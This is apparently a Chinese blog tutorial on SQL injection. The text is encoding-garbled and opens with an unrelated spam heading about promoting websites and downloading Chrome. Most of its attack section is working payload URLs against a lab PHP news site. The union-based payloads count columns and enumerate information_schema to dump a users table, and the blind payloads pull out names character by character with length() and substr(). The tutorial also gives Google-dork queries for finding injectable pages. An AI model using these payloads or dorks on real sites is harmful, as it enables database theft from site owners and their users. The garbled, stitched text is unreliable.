獨(dú)立網(wǎng)站怎么做推廣google chrome download
一、SQL注入分類
SQL注入根據(jù)攻擊方式的不同,可以分為以下幾種類型:
- 數(shù)字型注入
- 字符型注入
- 報(bào)錯(cuò)注入
- 布爾盲注
- 時(shí)間盲注
- 聯(lián)合查詢注入
- 基于堆疊的查詢注入
二、SQL注入流程
- 發(fā)現(xiàn)注入點(diǎn)
- 猜測(cè)字段數(shù)
- 確定顯示字段
- 獲取數(shù)據(jù)庫(kù)信息
- 獲取數(shù)據(jù)庫(kù)中的表
- 獲取表中的字段
- 獲取字段中的數(shù)據(jù)
例子:
獲取數(shù)據(jù)庫(kù)名參考
-
字符限制:數(shù)據(jù)庫(kù)的名字可以包含字母、數(shù)字、下劃線和美元符號(hào)(
$
)。但是,名字不能以數(shù)字開頭。 -
大小寫敏感性:在Windows系統(tǒng)上,MySQL數(shù)據(jù)庫(kù)的名字默認(rèn)是不區(qū)分大小寫的。但在大多數(shù)Unix/Linux系統(tǒng)上,數(shù)據(jù)庫(kù)的名字是區(qū)分大小寫的。為了確??缙脚_(tái)的兼容性,建議使用小寫字母。
-
長(zhǎng)度限制:數(shù)據(jù)庫(kù)的名字最大長(zhǎng)度為64個(gè)字符。
1.發(fā)現(xiàn)網(wǎng)站請(qǐng)求為get,如果存在注入點(diǎn)這里不會(huì)報(bào)錯(cuò)
http://192.168.10.111/news/show.php?id=-1 and 1=12.發(fā)現(xiàn)注入點(diǎn)后猜字段,逐一嘗試猜測(cè)字段數(shù)
http://192.168.10.111/news/show.php?id=-1 order by 16
-- order by x 根據(jù)第x個(gè)字段排序,如果出現(xiàn)報(bào)錯(cuò)說明字段不存在3.發(fā)現(xiàn)不報(bào)錯(cuò)出現(xiàn),并且出現(xiàn)的數(shù)值,為顯示字段
http://192.168.10.111/news/show.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,154.脫庫(kù)
//獲取當(dāng)前數(shù)據(jù)庫(kù)
http://192.168.10.111/news/show.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15//獲取數(shù)據(jù)庫(kù)中的表,hex的作用是因?yàn)槠唇雍蟮淖址小?’會(huì)混淆
192.168.10.111/news/show.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,
hex(group_concat(table_name))
,12,13,14,15 from information_schema.tables where table_schema='news'//獲取表中的字段
192.168.10.111/news/show.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,
hex(group_concat(column_name))
,12,13,14,15 from information_schema.columns where table_schema='news' and table_name='news_users
三、sql盲注:
構(gòu)造真或者假的問題對(duì)數(shù)據(jù)庫(kù)進(jìn)行提問
尋找sql注入點(diǎn)
1.在url后添加? ?’? 如果報(bào)錯(cuò)說明有注入點(diǎn)
2.對(duì)數(shù)值型注入點(diǎn)可以進(jìn)行減法
3.對(duì)在url后添加? ?and 1=2? ?如果沒有正常顯示,說明有注入點(diǎn)
例子:
-- 猜測(cè)數(shù)據(jù)庫(kù)長(zhǎng)度
http://192.168.10.111/news/show.php?id=46 and length(database())=4-- 或取當(dāng)前數(shù)據(jù)庫(kù)第二個(gè)字符
http://192.168.10.111/news/show.php?id=46 and substr(database(),2,1)='e'-- 獲取news數(shù)據(jù)庫(kù)中所有表名長(zhǎng)度
http://192.168.10.111/news/show.php?id=46 and length((select group_concat(table_name)
from information_schema.tables where table_schema='news'))=98-- 獲取表名字符串第一個(gè)字符
http://192.168.10.111/news/show.php?id=46 and substr((select group_concat(table_name)
from information_schema.tables where table_schema='news'),1,1)='n'-- 獲取news庫(kù),news_users表中字段字符串的字符串長(zhǎng)度
http://192.168.10.111/news/show.php?id=46 and length((select group_concat(column_name)
from information_schema.columns where table_schema='news' and table_name='news_users'))=24-- 獲取字段第一個(gè)字符
http://192.168.10.111/news/show.php?id=46 and substr((select group_concat(column_name)
from information_schema.columns where table_schema='news' and table_name='news_users'),1,1)='u'-- 獲取username字段中的信息長(zhǎng)度
http://192.168.10.111/news/show.php?id=46 and length((select group_concat(username) from
news.news_users))=5-- 獲取username字段的字符
http://192.168.10.111/news/show.php?id=46 and substr((select group_concat(username) fromnews.news_users),2,1)='d'
?
注:查找網(wǎng)站資源可使用hacking語(yǔ)法
inurl:?id=????????????????url中存在:?id=
Intitle:admin? ? ? ? ? ? title中存在:admin
filetype:txt? ? ? ? ? ? ? ? 查找網(wǎng)站中txt文件
site:www.baidu.com 在百度中查找